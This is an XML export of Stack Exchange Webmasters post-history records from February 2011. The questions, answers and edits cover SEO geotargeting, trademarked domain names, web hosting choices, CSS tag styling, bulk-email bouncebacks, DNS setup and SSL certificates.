  <row Id="21048" PostHistoryTypeId="3" PostId="9535" RevisionGUID="50e1fdba-dfc0-402d-a075-2f3c1a65494b" CreationDate="2011-02-22T06:11:20.060" UserId="5582" Text="&lt;css&gt;&lt;tags&gt;" />
  <row Id="21049" PostHistoryTypeId="5" PostId="9534" RevisionGUID="83774b1c-2956-4059-8153-df91f3662678" CreationDate="2011-02-22T06:12:13.227" UserId="1757" Comment="edited body; edited body" Text="You're going about this wrong. First off, there's no practical way of doing what you want. Secondly, Google doesn't really care about what country you're hosted in. What they care about is which country your website is targeted at. If your site is aimed at Americans, then they might rank you higher in an SERP on Google.com than a site aimed at Brits with the same PR (your PR isn't affected by which country you're hosted in, only how many backlinks you have).&#xD;&#xA;&#xD;&#xA;Now, what Google uses to determine which country your site is aimed at includes your IP address, but that's not the only (or even most important) factor. Google also looks at your ccTLD, and the actual language your content is written in (you might also use the `Content-Language` header/meta tag and the `lang`/`xml:lang` attributes in your HTML to specify the region you're targetting&amp;mdash;e.g. en-US or en-GB, but [according to John Mueller](http://webmasters.stackexchange.com/questions/5043/how-can-i-prevent-google-mistakenly-offering-to-translate-a-page) Google has learned to ignore these hints since they're often incorrect). Of these factors, the actual language your content is in is the most important and then your ccTLD. Your IP is only relied upon if you have an international TLD. So if you have your content localized to the region you're targeting *and* you have the proper ccTLD, then that's more than enough to tell Google who the intended audience for this site is.&#xD;&#xA;&#xD;&#xA;There's also no reason to trick Google or create an &quot;illusion&quot;. SEO isn't a war against the search engine. After all, Google has a vested interest in getting your actual intended audience right. That's why you can also specify which country your site is aimed at in Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;So to wrap things up, Google isn't trying to slight you or your business. And their geotargeted SERPs actually benefit businesses like yours that have localized websites for different regions. You don't have to worry about your PR." />
  <row Id="21050" PostHistoryTypeId="2" PostId="9536" RevisionGUID="faab5301-09ea-43b7-a7e3-69aec19683c6" CreationDate="2011-02-22T06:20:12.397" UserId="5583" Text="You can use :before and :after classes in CSS: http://www.quirksmode.org/css/beforeafter.html." />
  <row Id="21051" PostHistoryTypeId="2" PostId="9537" RevisionGUID="25bec8a4-2df4-4341-b4d5-6d1572ae58d5" CreationDate="2011-02-22T08:08:16.657" UserId="5584" Text="I have been assigned the task to build a catalog of products / on-line shop&#xD;&#xA;&#xD;&#xA;What technology would you use to create a product listing + left sidebar filters like this one?&#xD;&#xA;&#xD;&#xA;http://www.sarenza.co.uk/men-lace-ups&#xD;&#xA;" />
  <row Id="21052" PostHistoryTypeId="1" PostId="9537" RevisionGUID="25bec8a4-2df4-4341-b4d5-6d1572ae58d5" CreationDate="2011-02-22T08:08:16.657" UserId="5584" Text="What would you use to build a product listing plus filters as the suggested example?" />
  <row Id="21053" PostHistoryTypeId="3" PostId="9537" RevisionGUID="25bec8a4-2df4-4341-b4d5-6d1572ae58d5" CreationDate="2011-02-22T08:08:16.657" UserId="5584" Text="&lt;ecommerce&gt;" />
  <row Id="21054" PostHistoryTypeId="25" PostId="9535" RevisionGUID="57779396-8570-468c-83f7-d9b2a2a7ebe5" CreationDate="2011-02-22T08:22:49.887" Comment="http://twitter.com/#!/StackWebmasters/status/39963307402211328" />
  <row Id="21056" PostHistoryTypeId="5" PostId="9446" RevisionGUID="967e0815-563b-48fd-b5d3-68cdc2f9f1aa" CreationDate="2011-02-22T09:26:04.833" UserId="1757" Comment="fix link" Text="You might want to try out &lt;a href=&quot;http://moodle.org/&quot;&gt;Moodle&lt;/a&gt;. It allows one to create courses, and teachers can administrate individual classes under each course." />
  <row Id="21057" PostHistoryTypeId="5" PostId="5327" RevisionGUID="36b09175-6eca-4e22-ac9c-f0e5cd0afe5f" CreationDate="2011-02-22T09:43:44.647" UserId="3155" Comment="deleted 42 characters in body" Text="This is also personal experience: I recently made a tutorial on the topic of iPhone UINavigationControllers on my own own site and found it was the number one Google result for &quot;uinavigationcontroller&quot; after about 2 months. &#xD;&#xA;&#xD;&#xA;In my experience Google bases a lot of its rankings on uptime, load time, HTML of the actual site, having a Google sitemap and signing up for the [Google Webmaster Tools][1].&#xD;&#xA;&#xD;&#xA;Sticking to `H1,H2..P` HTML tags, ensure 99% uptime and heavily cache the site so it loads in less than a second or two. Then watch where you're going wrong with the webmaster tools.&#xD;&#xA;&#xD;&#xA;And try using the Stackoverflow trick - put the keywords first in the title, then the name of the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/" />
  <row Id="21059" PostHistoryTypeId="2" PostId="9539" RevisionGUID="6a7fd91e-35d6-44bf-afd9-90b575f86bfb" CreationDate="2011-02-22T10:05:32.210" UserId="1757" Text="720p H.264 video is usually between 4Mbps to 15Mbps. iTunes's 720p videos are just over 4Mbps.&#xD;&#xA;&#xD;&#xA;Whether you want to host the channel yourself or have someone else host it depends on a few factors. Are you streaming live video? What kind of bandwidth does the company have? What's the userbase like? Is 1000 the peak concurrent user count or the average or the projected growth in 12 months? Are they all likely to be located in the same region as the company? Are they going to be spread out across the globe? And does the company have the expertise/resources to run their own data center?&#xD;&#xA;&#xD;&#xA;Unless it's a large company or at least one with experience operating a data center and can ensure high availability, it's probably best to outsource the web hosting to a professional company. A good setup might be to upload your video stream to one of the various CDN providers, who can then use their edge network to stream it to your users with minimal latency. This would also scale better than trying to host it yourself, in case your userbase unexpectedly increases." />
  <row Id="21060" PostHistoryTypeId="2" PostId="9540" RevisionGUID="f07915d0-f547-48ad-8c92-fb52be1aa1a5" CreationDate="2011-02-22T11:09:50.000" UserId="5588" Text="A search on google for &quot;iphone developer&quot; turns up loads of websites which have &quot;iphone&quot; in them, a trademarked name by Apple.&#xD;&#xA;&#xD;&#xA;So I'm led to believe that having a domain such as iphonedeveloper.com is ok? Well, you're still using Apple's trademark, but it would be hard to brand yourself otherwise. You're an IPHONE DEVELOPER... right?&#xD;&#xA;&#xD;&#xA;Well, what if I want to provide a website where users pay to get a list of the best offers from Ebay? I might have a domain like ebaydeals.com (I don't... i'm just speculating!).&#xD;&#xA;&#xD;&#xA;Now I've heard that places like Ebay are really hot on the trigger and fire out emails to people who register domains like that straight away. But whats the difference?&#xD;&#xA;&#xD;&#xA;In both cases I'm making money from the trademark, effectively, so is it just down to how lenient the company who owns the trademark is? Or are there rules? Is there a specific &quot;line&quot; you don't cross?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21061" PostHistoryTypeId="1" PostId="9540" RevisionGUID="f07915d0-f547-48ad-8c92-fb52be1aa1a5" CreationDate="2011-02-22T11:09:50.000" UserId="5588" Text="Where is the line drawn with domain names which include a trademark?" />
  <row Id="21062" PostHistoryTypeId="3" PostId="9540" RevisionGUID="f07915d0-f547-48ad-8c92-fb52be1aa1a5" CreationDate="2011-02-22T11:09:50.000" UserId="5588" Text="&lt;domain-names&gt;&lt;legal&gt;" />
  <row Id="21063" PostHistoryTypeId="25" PostId="9533" RevisionGUID="ab8c2ffd-1c6a-4497-95bf-bcb1a916269e" CreationDate="2011-02-22T11:22:49.367" Comment="http://twitter.com/#!/StackWebmasters/status/40008604983640064" />
  <row Id="21064" PostHistoryTypeId="2" PostId="9541" RevisionGUID="dc48b2d9-0e69-429d-b270-23b8c4ff66aa" CreationDate="2011-02-22T11:42:41.020" UserId="4648" Text="This is not an Advertising, I've just found this website (MochHost) that offers a great things just for 3$/m like :&#xD;&#xA;&#xD;&#xA;- 2 LifeTime FREE Domains&#xD;&#xA;&#xD;&#xA;- UNLIMITED Space and bandwidth&#xD;&#xA;&#xD;&#xA;- SVN (subversion) support&#xD;&#xA;&#xD;&#xA;- SSH acces&#xD;&#xA;&#xD;&#xA;- PHP 5, Perl, Python, Rails, ...&#xD;&#xA;&#xD;&#xA;I need to know if any of you had taken from them a hosting plans, what do you think about it ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21065" PostHistoryTypeId="1" PostId="9541" RevisionGUID="dc48b2d9-0e69-429d-b270-23b8c4ff66aa" CreationDate="2011-02-22T11:42:41.020" UserId="4648" Text="Question about MochaHost.com Hosting Plans" />
  <row Id="21066" PostHistoryTypeId="3" PostId="9541" RevisionGUID="dc48b2d9-0e69-429d-b270-23b8c4ff66aa" CreationDate="2011-02-22T11:42:41.020" UserId="4648" Text="&lt;php&gt;&lt;svn&gt;&lt;web-hosting&gt;" />
  <row Id="21067" PostHistoryTypeId="17" PostId="9541" RevisionGUID="fd586050-38df-4b18-a2d5-5e80a8a9f3cf" CreationDate="2011-02-22T12:02:45.307" UserId="-1" Comment="from http://stackoverflow.com/questions/5077627/question-about-mochahost-com-hosting-plans" Text="" />
  <row Id="21068" PostHistoryTypeId="2" PostId="9542" RevisionGUID="e5a054ce-4e02-43ad-bf73-3bcad8c7128d" CreationDate="2011-02-22T12:14:13.873" UserId="5589" Text="Cheap prices mean cheap services; Never trust in *unlimited* things.&#xD;&#xA;&#xD;&#xA;Maybe they give you unlimited bandwith, but what about the minimum guaranteed bandwidth?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Professional hosting have a price, take a look (just an example) to alwaysdata.com: they give you (for free) ssh access, mysql, postgresql, python, etc.. but you're binded to **1Mb** space and -dont-remember-exactly-how-much- bandwith." />
  <row Id="21069" PostHistoryTypeId="17" PostId="9544" RevisionGUID="e4834309-7267-4bb2-8bdc-aabe7dc47d7d" CreationDate="2011-02-22T12:23:11.257" UserId="-1" Comment="from http://serverfault.com/questions/238531/search-engine-results-from-different-locations/238559#238559" Text="" />
  <row Id="21070" PostHistoryTypeId="2" PostId="9544" RevisionGUID="e7c75fdd-eb6c-4ee7-8fa2-38ce407490a6" CreationDate="2011-02-22T09:43:43.433" UserDisplayName="John Gardeniers" Text="Have you tried using the Google URL local to those countries? e.g. ww.google.com.au for Australia." />
  <row Id="21071" PostHistoryTypeId="2" PostId="9543" RevisionGUID="75482185-8efb-499f-8927-253898388533" CreationDate="2011-02-22T07:33:43.890" UserDisplayName="Dinu Davis" Text="We are getting different results for the same search words at different countries. &#xD;&#xA;&#xD;&#xA;How can i get the google results for the same key words as if am in different countries.. &#xD;&#xA;&#xD;&#xA;in other words, &#xD;&#xA;&#xD;&#xA;                how can i get different country google results??&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21072" PostHistoryTypeId="1" PostId="9543" RevisionGUID="75482185-8efb-499f-8927-253898388533" CreationDate="2011-02-22T07:33:43.890" UserDisplayName="Dinu Davis" Text="Search Engine results from different locations.." />
  <row Id="21073" PostHistoryTypeId="3" PostId="9543" RevisionGUID="75482185-8efb-499f-8927-253898388533" CreationDate="2011-02-22T07:33:43.890" UserDisplayName="Dinu Davis" Text="&lt;google&gt;" />
  <row Id="21074" PostHistoryTypeId="17" PostId="9543" RevisionGUID="082aaeb7-11f1-4610-9c6b-c4e41887d84b" CreationDate="2011-02-22T12:23:11.257" UserId="-1" Comment="from http://serverfault.com/questions/238531/search-engine-results-from-different-locations" Text="" />
  <row Id="21075" PostHistoryTypeId="2" PostId="9545" RevisionGUID="9cd3ff5c-8052-4f6e-ac0a-1f2c2220f173" CreationDate="2011-02-22T12:26:37.960" UserId="5445" Text="I now changed the structure of our navigation such that all of the &quot;supposed-to-be-hidden&quot; links are on the 3rd level, and configured the menu module to only display levels 1-2.&#xD;&#xA;&#xD;&#xA;This is not very satisfying though. I would prefer to be able to hide menu items of *any* level instead. So if anyone comes up with some accurate help, I'm all ears." />
  <row Id="21076" PostHistoryTypeId="2" PostId="9546" RevisionGUID="5a942431-818a-4f28-b68a-cc9a1398a96e" CreationDate="2011-02-22T12:29:02.257" UserId="1780" Text="As far as I know, it is not possible to simulate this, especially seeing as search results are often local not only to the country, but to the region or city as well.&#xD;&#xA;&#xD;&#xA;I think professional SEO companies use proxied internet connections to get local search results." />
  <row Id="21077" PostHistoryTypeId="2" PostId="9547" RevisionGUID="2616cc3e-05f1-4991-9d3b-2ec1f9398eda" CreationDate="2011-02-22T12:44:39.757" UserId="1253" Text="There definitely is a hard line that you cannot cross. You'll have to talk to a trademark attorney if you want exact details. But if you're using a trademark in your domain and the site is related to the trademark you can bet it is ripe for a lawsuit if the trademark holder decides they want to sue. Of course, they may just request you hand the domain name over but that doesn't do you a whole lot of good, either." />
  <row Id="21078" PostHistoryTypeId="5" PostId="9543" RevisionGUID="6d94f343-dfac-4d8c-83ce-e626ee077c3f" CreationDate="2011-02-22T12:46:58.803" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Differences between google domains in different countries](http://webmasters.stackexchange.com/questions/6078/differences-between-google-domains-in-different-countries)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;We are getting different results for the same search words at different countries. &#xD;&#xA;&#xD;&#xA;How can i get the google results for the same key words as if am in different countries.. &#xD;&#xA;&#xD;&#xA;in other words, &#xD;&#xA;&#xD;&#xA;                how can i get different country google results??&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21079" PostHistoryTypeId="10" PostId="9543" RevisionGUID="e08a7c95-7fd5-4723-b776-38f9d63025d2" CreationDate="2011-02-22T12:46:58.680" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21080" PostHistoryTypeId="5" PostId="9547" RevisionGUID="1b7c18d1-602a-4c17-979b-b984cb46234a" CreationDate="2011-02-22T13:00:37.220" UserId="1253" Comment="added 294 characters in body" Text="There definitely is a hard line that you cannot cross. You'll have to talk to a trademark attorney if you want exact details. But if you're using a trademark in your domain and the site is related to the trademark you can bet it is ripe for a lawsuit if the trademark holder decides they want to sue. Of course, they may just request you hand the domain name over but that doesn't do you a whole lot of good, either.&#xD;&#xA;&#xD;&#xA;Remember, just because there are sites out there getting away with violating a trademark doesn't mean they're right or the company is allowing it. The company just may not be aware of it or choose not to litigate for various reasons (expense, low priority). But that can change at any time." />
  <row Id="21081" PostHistoryTypeId="5" PostId="9535" RevisionGUID="16a12bd5-40ae-4cfe-8caf-d490e6ce69e2" CreationDate="2011-02-22T13:11:57.793" UserId="205" Comment="sth -&gt; something" Text="I like the style of tags at [math.stackexchange.com][1]. In fact, I'd like to create something similar and I was wondering how are they styled. &#xD;&#xA;&#xD;&#xA;First of all, I've launched Firebug and was trying to analyze the DOM. &#xD;&#xA;&#xD;&#xA;Let's see i.e. [graph-theory] tag:&#xD;&#xA;&#xD;&#xA;![math tags][2]&#xD;&#xA;&#xD;&#xA;and in Firebug it looks like there are no brackets:&#xD;&#xA;&#xD;&#xA;![math firebug][3]&#xD;&#xA;&#xD;&#xA;So, where's the catch?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://math.stackexchange.com&#xD;&#xA;  [2]: http://i.stack.imgur.com/4jTxK.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/u7MuG.png" />
  <row Id="21082" PostHistoryTypeId="24" PostId="9535" RevisionGUID="591cb920-335f-4f8c-9446-a62f40b9f0ae" CreationDate="2011-02-22T13:11:57.793" Comment="Proposed by 205 approved by 1253 edit id of 31" />
  <row Id="21091" PostHistoryTypeId="2" PostId="9551" RevisionGUID="7c100b2a-e2a1-4957-8d33-f6ae759e1303" CreationDate="2011-02-22T13:41:12.000" UserId="5464" Text="i agree with @lese majeste you need to work on content, its the hardest part and the one i struggle with the most. &#xD;&#xA;&#xD;&#xA;However to try and increase traffic or at least encourage my few readers to spread the word i have added twitter, linkedin and facebook buttons as this is where i promote my site the most and also where i generate the small amount of traffic i do get.  &#xD;&#xA;&#xD;&#xA;what you have to bear in mind is that just adding widgets is not going to increase traffic, i would look at your analytics on the site and see what phrases and content people are already finding you for then base articles around that while making sure the ways to share your content are obvious to all that visit. " />
  <row Id="21092" PostHistoryTypeId="2" PostId="9552" RevisionGUID="76fe06a1-ff5a-497f-b11a-3540e111ddca" CreationDate="2011-02-22T13:46:56.863" UserDisplayName="user5593" Text="I am currently using a mass emailer called sendblaster- if anyone has experience using this program for mass emails any help would be fantastic.&#xD;&#xA;&#xD;&#xA;The program has a feature that allows you to track reads and opens of emails sent, however the problem i have is with delivery failures/bouncebacks. The &quot;manage bouncebacks&quot; feature is very confusing, and appears to be incapable of showing which email addresses have bounced. For some reason the sender address does not receive delivery failures as with other mass email programs that I've used.&#xD;&#xA;&#xD;&#xA;If anyone knows a way to efficiently manage the delivery failures/bounceback using this program please help!&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21093" PostHistoryTypeId="1" PostId="9552" RevisionGUID="76fe06a1-ff5a-497f-b11a-3540e111ddca" CreationDate="2011-02-22T13:46:56.863" UserDisplayName="user5593" Text="Mass emailing bouncebacks- Sendblaster" />
  <row Id="21094" PostHistoryTypeId="3" PostId="9552" RevisionGUID="76fe06a1-ff5a-497f-b11a-3540e111ddca" CreationDate="2011-02-22T13:46:56.863" UserDisplayName="user5593" Text="&lt;email&gt;&lt;bulk-email&gt;" />
  <row Id="21096" PostHistoryTypeId="6" PostId="9552" RevisionGUID="20d6a09d-2b84-4005-acd4-24e47aaea3c8" CreationDate="2011-02-22T14:07:32.587" UserId="1253" Comment="Removed &quot;email&quot; tag and added &quot;sendblaster&quot; tag" Text="&lt;bulk-email&gt;&lt;sendblaster&gt;" />
  <row Id="21097" PostHistoryTypeId="25" PostId="9540" RevisionGUID="77bf0ab9-2cf3-46cc-8eb3-01c05f59ec93" CreationDate="2011-02-22T14:22:49.250" Comment="http://twitter.com/#!/StackWebmasters/status/40053903378612224" />
  <row Id="21098" PostHistoryTypeId="6" PostId="9380" RevisionGUID="2d57afd2-f1f8-4b3c-a3a6-ed30a1d72189" CreationDate="2011-02-22T14:47:14.597" UserId="1253" Comment="Removed &quot;seo&quot; tag. added &quot;traffic&quot; tag" Text="&lt;traffic&gt;" />
  <row Id="21099" PostHistoryTypeId="2" PostId="9553" RevisionGUID="753410a3-cf03-43f5-82eb-4ac71ee3c9a8" CreationDate="2011-02-22T14:58:19.710" UserId="1253" Text="Dedicated IP addresses have no effect on SEO as IP addresses in no way indicate anything about the content and whether or not it is relevant for a search query. A site on a shared IP that moves to a dedicated IP, or vice versa, is no better or worse because of that IP address. So the IP address won't affect the ranking of pages.&#xD;&#xA;&#xD;&#xA;IP addresses may be used, and probably is used, as an indicator for possible TOS violations (i.e. part of a content farm, content spammer, etc). But each site/page will still be judged on its own merits as shared IP addresses are very common and to ban or penalize an IP address because one site using it is black hat is obviously bad for business (and just not smart)." />
  <row Id="21100" PostHistoryTypeId="16" PostId="335" RevisionGUID="81d0f7c4-e25d-4ec4-8986-9204ee719479" CreationDate="2011-02-22T15:01:21.953" UserId="1253" />
  <row Id="21107" PostHistoryTypeId="2" PostId="9555" RevisionGUID="ac4ca6fc-4045-4ef2-a5bf-ecab792ddc51" CreationDate="2011-02-22T16:56:29.107" UserId="5595" Text="I'm working on a feature that tailors content based on a geo location lookup by IP address in order to provide information based on the general area where this visitor is from.&#xD;&#xA;&#xD;&#xA;I'm concerned that content will be interpreted as focused solely on the search engine spider's geo origin when it is indexed.&#xD;&#xA;&#xD;&#xA;Are there SEO best practices for geo location by ip address features? I appreciate any specific tips or words of wisdom." />
  <row Id="21108" PostHistoryTypeId="1" PostId="9555" RevisionGUID="ac4ca6fc-4045-4ef2-a5bf-ecab792ddc51" CreationDate="2011-02-22T16:56:29.107" UserId="5595" Text="SEO best practices for a web feature that uses geolocation by IP Address" />
  <row Id="21109" PostHistoryTypeId="3" PostId="9555" RevisionGUID="ac4ca6fc-4045-4ef2-a5bf-ecab792ddc51" CreationDate="2011-02-22T16:56:29.107" UserId="5595" Text="&lt;seo&gt;&lt;geotargeting&gt;" />
  <row Id="21110" PostHistoryTypeId="5" PostId="8624" RevisionGUID="b617c641-0d8b-4693-9168-5528a64ac929" CreationDate="2011-02-22T17:21:09.437" UserId="1429" Comment="added 10 characters in body" Text="If you are changing domain and/or the pages URLs of your websites, yes there  are some considerations to make about SEO.&#xD;&#xA;&#xD;&#xA;You should redirect 301 all the old URLs of pages from the old website to the new website's URLs.&#xD;&#xA;&#xD;&#xA;Read this similar question and answer: http://webmasters.stackexchange.com/questions/6546/moving-from-a-static-site-to-a-cms-with-new-urls-and-meta-data-for-pages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21112" PostHistoryTypeId="2" PostId="9556" RevisionGUID="3b75488e-c8df-4f29-9a69-e75965f1a4a7" CreationDate="2011-02-22T17:31:05.530" UserId="1253" Text="You won't have any issues with search engines disliking that content as you are not offering them any information that they wouldn't be receiving if they were a regular user. You only run into issues when you serve up different content to search engines specifically for the search engine's benefit. You clearly not doing this.&#xD;&#xA;&#xD;&#xA;Your only real issue is that search engines will only see that one specific subset of content which makes it more difficult for you to target other regions. Perhaps the ability for a user to change their region manually (i.e. a link or submitting a form). Not only does this correct incorrect geotargetting, which is not uncommon, but allows you to have URLs specific to a region. You can then submit those URLs to the search engines (most likely through an XML sitemap) and have those pages indexed as well." />
  <row Id="21113" PostHistoryTypeId="5" PostId="9532" RevisionGUID="c2216a68-7d3d-4ba4-b46b-4ded145dd7d0" CreationDate="2011-02-22T17:32:20.740" UserId="3307" Comment="Corrected the URL to PHP Melody" Text="I found PHP Melody that might serve as a substitute. &lt;a href=&quot;http://www.phpsugar.com/phpmelody.html&quot;&gt;PHP Melody&lt;/a&gt; has the following features:&#xD;&#xA;&#xD;&#xA; - Private Videos   &#xD;&#xA; - SEO Friendly    &#xD;&#xA; - Mass Video Import &#xD;&#xA; - JW Player / FlowPlayer&#xD;&#xA; - Multiple video sources Optimized for speed &#xD;&#xA; - UTF-8 Support &#xD;&#xA; - Built-in Article&#xD;&#xA; - Manager The ability to embed any video from any source &#xD;&#xA; - Upload your own videos &#xD;&#xA; - Video-checking bot &#xD;&#xA; - Security&#xD;&#xA;&#xD;&#xA;Granted, it isn't as advanced as MediaCore, but it has a lot of the same features and can probably do most of the things MediaCore can.       " />
  <row Id="21114" PostHistoryTypeId="24" PostId="9532" RevisionGUID="d7cf92fc-87ad-45e2-a49c-7e330757d36a" CreationDate="2011-02-22T17:32:20.740" Comment="Proposed by 3307 approved by 1253 edit id of 32" />
  <row Id="21115" PostHistoryTypeId="5" PostId="9482" RevisionGUID="9005e4fb-6b0e-4e96-ae37-78dc256b98cc" CreationDate="2011-02-22T17:42:37.977" UserId="5564" Comment="added 12 characters in body" Text="What's a good (also free) alternative to mediacore (http://getmediacore.com/) but done in PHP. &#xD;&#xA;&#xD;&#xA;I mean with the same good look&amp;feel, support and community support." />
  <row Id="21116" PostHistoryTypeId="5" PostId="8623" RevisionGUID="12219dce-8e8a-43fd-9c7b-2fc25a77cec0" CreationDate="2011-02-22T17:56:24.860" UserId="1429" Comment="deleted 210 characters in body; edited tags; deleted 3 characters in body" Text="Contents farm, scrappers, aggregators real world examples?&#xD;&#xA;&#xD;&#xA;Could you plz 1st clarify me:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**1.** Is efreedom.com a [scraper site][1], and not a content farm? &#xD;&#xA;I think it's scraper because it copies and pastes contents from stackoverflow.&#xD;&#xA;&#xD;&#xA;**2.** Are ehow.com and squidoo.com [contents farm][2]?&#xD;&#xA;They don't copy and paste contents they just generate fresh new user generated content, but too much and too quickly. &#xD;&#xA;&#xD;&#xA;**3.** Is expert-exchange.com NOT a content farm or a scraper site, isn't it?!&#xD;&#xA;It's simply that many people (and me too) hates it ([they also wrote to Matt Cutts][3]) because it shows up hight in Google providing a useless question with no answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**4.** Finally there are also another type of sites like this one: http://www.hotfrog.it/ &#xD;&#xA;It looks like a 'contents aggregator in the form of specialized directories', I don't know how to else define it.&#xD;&#xA;&#xD;&#xA;There are **many sites now on the web that work in the same way of hotfrog**:&#xD;&#xA;&#xD;&#xA;Basically they search for all sites of the same type i.e. “restaurants websites”, they copy and paste the contents found in “Restaurant A” and create in their aggregator site a new page called “Restaurant A”, then they do the same for all websites of the same type, thus creating a sort of directory of restaurants.&#xD;&#xA;&#xD;&#xA;Later on these sites also sends an email to the owner of “Restaurant A” (usually the email is on the website) with a user and password to let him modify/update its own page.&#xD;&#xA;&#xD;&#xA;Someone could call these simply directories, but I think a directory is different because is something you need to add your site into by filling a form and not something that steals contents from your existing site without a specific acceptance from the site's owner.&#xD;&#xA;&#xD;&#xA;**Do these type of sityes have a definition/name?**&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Scraper_site&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Content_farm&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=w9T6LNMvpvw" />
  <row Id="21117" PostHistoryTypeId="6" PostId="8623" RevisionGUID="12219dce-8e8a-43fd-9c7b-2fc25a77cec0" CreationDate="2011-02-22T17:56:24.860" UserId="1429" Comment="deleted 210 characters in body; edited tags; deleted 3 characters in body" Text="&lt;seo&gt;&lt;aggregators&gt;&lt;contents-farm&gt;&lt;scraper-sites&gt;" />
  <row Id="21118" PostHistoryTypeId="2" PostId="9557" RevisionGUID="02d23213-52ff-4b7f-9567-56f7daa6e866" CreationDate="2011-02-22T18:15:56.250" UserId="1429" Text="1. Buy `yourdomain.com` from a domain reseller. Make sure they allow you to setup the DNS of the domain from their control panel. Many resellers offer the DNS with teh domain and allow you to change it using a simple control panel.&#xD;&#xA;&#xD;&#xA;2. After you bought the domain, enter the control panel for the DNS and set up these records:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;   yourdomain.com  | A | your.static.IP&#xD;&#xA;   www.yourdomain.com  | A | your.static.IP&#xD;&#xA;   mail.yourdomain.com | A | your.static.IP (this last record only if you set up also a mail server on your computer)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Obviously replace `your.static.IP` with your real static IP XXX.XXX.XXX.XXX of your home computer.&#xD;&#xA;&#xD;&#xA;Then you are all set up.&#xD;&#xA;Now you need only your computer to never stop or being powered off, otherwise poeple won't be able to see your site.&#xD;&#xA;&#xD;&#xA;Anyway for a production site I highly discourage this approach, and considering the cheap price of webhoster I would rather buy a Linux webhosting plan with cPanel on it and palce your website there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21119" PostHistoryTypeId="5" PostId="9557" RevisionGUID="929a9e68-56d7-4607-abd6-0e128f7af710" CreationDate="2011-02-22T18:21:28.953" UserId="1429" Comment="added 223 characters in body; added 4 characters in body" Text="1. Buy `yourdomain.com` from a domain reseller. Make sure they allow you to setup the DNS of the domain from their control panel. Many resellers offer the DNS with teh domain and allow you to change it using a simple control panel.&#xD;&#xA;&#xD;&#xA;2. After you bought the domain, enter the control panel for the DNS and set up these records:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;   yourdomain.com  | A | your.static.IP&#xD;&#xA;   www.yourdomain.com  | A | your.static.IP&#xD;&#xA;   mail.yourdomain.com | A | your.static.IP (this last record only if you set up also a mail server on your computer)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Obviously replace `your.static.IP` with your real static IP XXX.XXX.XXX.XXX of your home computer.&#xD;&#xA;&#xD;&#xA;Then you are all set up.&#xD;&#xA;Now you need only your computer to never stop or being powered off, otherwise poeple won't be able to see your site.&#xD;&#xA;&#xD;&#xA;Anyway for a production site I highly discourage this approach, and considering the cheap price of webhoster I would rather buy a Linux webhosting plan with cPanel on it (i.e http://www.qualityhostonline.com) and place your website there. It's also an opportunity for you to learn cPanel, whilest setting up the website on your PC you would learn useless stuff because nobody will ever want a site to be hosted there for real.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21120" PostHistoryTypeId="2" PostId="9558" RevisionGUID="f1a30734-31ce-482c-9dc4-c6e59cfe5b88" CreationDate="2011-02-22T19:28:30.140" UserDisplayName="user5598" Text="Place image files n html doc in the same folder in your hard diksk" />
  <row Id="21121" PostHistoryTypeId="2" PostId="9559" RevisionGUID="0602fb0a-0a5c-4670-bd53-d0cfd251b372" CreationDate="2011-02-22T20:09:55.410" UserId="1134" Text="So I've got a google calendar embedded in my web page. It's set to agenda view so when you click on an entry it expands and shows you more information on the entry. I'd like to be able to link to the page w/ the embedded calendar from elsewhere, and have a specific entry already expanded (as if it had been clicked).&#xD;&#xA;Is this even possible? I'm not really sure where to start.&#xD;&#xA;&#xD;&#xA;PS: I don't have enough rep on this SE to create tags... and there isn't already a tag for &quot;google-calendar&quot;..." />
  <row Id="21122" PostHistoryTypeId="1" PostId="9559" RevisionGUID="0602fb0a-0a5c-4670-bd53-d0cfd251b372" CreationDate="2011-02-22T20:09:55.410" UserId="1134" Text="Make an agenda view google calendar entry display initially as if it had been clicked" />
  <row Id="21123" PostHistoryTypeId="3" PostId="9559" RevisionGUID="0602fb0a-0a5c-4670-bd53-d0cfd251b372" CreationDate="2011-02-22T20:09:55.410" UserId="1134" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="21124" PostHistoryTypeId="2" PostId="9560" RevisionGUID="86f58d05-4bf9-47dd-980b-8f343745e064" CreationDate="2011-02-22T20:20:11.803" UserId="4256" Text="Can anyone point me to a few sites that make use of a UCC (SAN) certificates? I tried to search for this but found a lot of information about UCC certficates without any examples.  As a sanity check before buying/configuring a UCC certificate, I wish to do some basic testing to determine exactly how the certificate will look in different browsers.&#xD;&#xA;&#xD;&#xA;Yes, I realize I could just use makecert instead.  I would rather just look at them in the wild." />
